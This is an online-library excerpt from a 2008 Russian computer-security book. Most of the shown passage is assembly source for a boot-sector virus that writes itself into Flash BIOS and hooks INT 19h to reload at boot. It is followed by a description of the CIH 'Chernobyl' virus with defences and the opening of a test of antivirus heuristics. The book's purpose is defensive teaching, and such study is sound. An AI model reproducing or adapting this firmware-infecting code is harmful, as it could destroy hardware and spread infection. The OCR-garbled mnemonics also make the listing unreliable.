Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров
- Название:Защити свой компьютер на 100% от вирусов и хакеров
- Автор:
- Жанр:
- Издательство:046ebc0b-b024-102a-94d5-07de47c81719
- Год:2008
- Город:СПб.
- ISBN:978-5-388-00347-8
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров краткое содержание
Подумайте, сколько ценной информации хранится на вашем компьютере – начиная с достаточно безобидных сведений о вас и вашей работе и заканчивая действительно конфиденциальными данными (пароли к кредитным картам, финансовые документы, личная переписка и т. д.). А теперь представьте, что ваш компьютер взломали и вся зга информация стала доступна посторонним людям. Или злобный вирус уничтожил половину содержимого жесткого диска, и вы потеряли готовый проект, который необходимо сдавать через два дня. Представили? Понравилось?
Самое страшное, что эти случаи – вовсе не фантастика. Достаточно пару раз пренебречь несложными правилами компьютерной безопасности – и злоумышленнику не составит никакого труда получить доступ ко всей вашей информации, а вирусы будут плодиться на вашем компьютере один за другим. Согласитесь, вам есть что терять – и есть что защищать.
Именно для тех, кто желает защитить свой компьютер и себя от неприятных сюрпризов, и написана эта книга. С ее помощью вы научитесь защищаться от вирусов и прочих вредоносных программ, распознавать и отражать хакерские атаки, уловки интернет-мошенников, контролировать доступ к тем ресурсам, которые не должен посещать ваш ребенок.
Защити свой компьютер на 100% от вирусов и хакеров - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
; (величина свободного места для вируса)
xor dx, dx
ok_new_segment:
; Перейдем к следующему сегменту
inc ax
mov ds, ax
; Проверим, есть ли еще место для вируса
cmp ax, 0FFF0h
je no_flash_BIOS
; Проверим, свободно ли место (для скорости проверяем словами)
test16:
cmp word ptr [si], 0
jne new_segment
; Увеличим счетчик размера найденного свободного места
inc dx
; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но
; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)
cmp dx, 512
je found_storage
; Увеличим смещение проверяемого байта
inc si
inc si
; Сравним с 16. Переходим к следующему сегменту
; в начале каждого параграфа
cmp si, 16
je ok_new_segment
jmp test16
; B эту точку попадаем, если место найдено
Found_storage:
; Перейдем к началу зоны
sub ax, 40h
mov ds, ax
; Получим требования к сохранению состояния чипа
mov ax, 0E001h
int 16h
; Проверим, сколько памяти необходимо для сохранения состояния
; чипа. Если слишком много, не будем сохранять состояние
cmp bx, 512
jbe save_chipset
; Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset, 1
; Перейдем к записи
jmp write_enable
; Сюда попадаем, если Flash BIOS не обнаружен:
; записывать некуда – выходим
No_Flash_BIOS:
ret
; Сохраним состояние чипа
save_chipset:
; Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset, 0
; Сохраним состояние
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
; Записываемся во Flash BIOS
write_enable:
; Повышаем напряжение
mov al, 5
int 16h
; Разрешаем запись во Flash BIOS
mov al, 7
int 16h
; Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di, di
mov cx, 512
push cs
pop ds
xor si, si
cld
rep movsb
mov bx, es ; ВХ=сегмент вируса
xor ах, ах
mov ds, ax ; DS=Ta6nHua векторов
mov di, word ptr [19h*4] ; Смещение INT 19h
mov es, word ptr [19h*4+2] ; Сегмент INT 19h
; 3апишем JMP FAR по адресу точки входа в INT 19h
mov al, 0EAh
stosb
mov ax, offset int19handler
stosw
mov ax, bx
stosw
; Понизим напряжение
mov ax, 0E004h
int 16h
; 3ащитим Flash BIOS от записи
mov al, 6
int 16h
; Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset, 0
jne No_Flash_BIOS
; Восстановим состояние чипа
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Флаг несохранения состояния чипа
chipset db 0
; Флаг присутствия вируса во Flash BIOS
flash_done db 0
; Наш обработчик INT 19h.
int19Handler Proc Near
; Установим сегментный регистр ES в ноль
хог ах, ах
mov es, ax
; Проверим наличие резидентного вируса
mov ax, 0ABBAh
int 13h
; Если вирус присутствует, то запускаем оригинальный
; обработчик прерывания INT 19h
cmp ax, 0BAABh
jne real_int19h
; Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
cld
xor si, si
mov di, 7c00h
mov cx,512
rep movsb
; 3апустим вирус в boot-буфере
mov dl, 80h
jmp goto_Buffer
real_int19h:
; Произведем сброс дисковой подсистемы
xor ax, ax
int 13h
; Проинициализируем значения регистров для загрузки boot-сектора
mov cx, 1
mov dh, 0
mov ax, 0201h
mov bx, 7C00h
; Проверим, откуда грузимся: если DL не нулевой,
; переходим к загрузке с жесткого диска
cmp dl, 0
ja hd_int19h
; Прочтем boot-сектор с дискеты. Если при чтении происходит
; ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
; Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done], 1
; 3апустим boot-сектор, находящийся в boot-буфере
db 0EAh ; Код команды JMP FAR
dw 7c00h
dw 0 Fix_HD:
; Установим номер диска для загрузки (диск С)
mov dl, 80h
HD_int19h:
; Произведем сброс дисковой подсистемы
хог ах, ах
int 13h ;
Прочтем boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer ;
Если не удалось загрузить boot-сектор,
; вызываем прерывание INT 18h
Boot:
int 18h
int19Handler EndP
Flash_BIOS EndP
End_Virus:
; Размер области памяти, необходимый для дополнения
; размера вируса до 510 байт
DupSize equ 510-offset End_Virus
; Заполнение не занятой вирусом части сектора
db DupSize dup (0)
db 55h, 0aah
Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).
Virus.Win9x.CIHтакже известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.
Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):
♦ настройка BIOS, контроль режима чтение только;
♦ контроль критических областей с помощью специализированных утилит типа ADINF32.
Возможные варианты лечения:
♦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;
♦ радикальный метод – перепрошивка BIOS/замена микросхем.
5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:
♦ "Антивирус Касперского";
♦ ESET NOD32;
♦ Vba32 ("ВирусБлокАда").
ПРИМЕЧАНИЕ
В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".
Методология проведения теста
Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.
Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.
Читать дальшеИнтервал:
Закладка: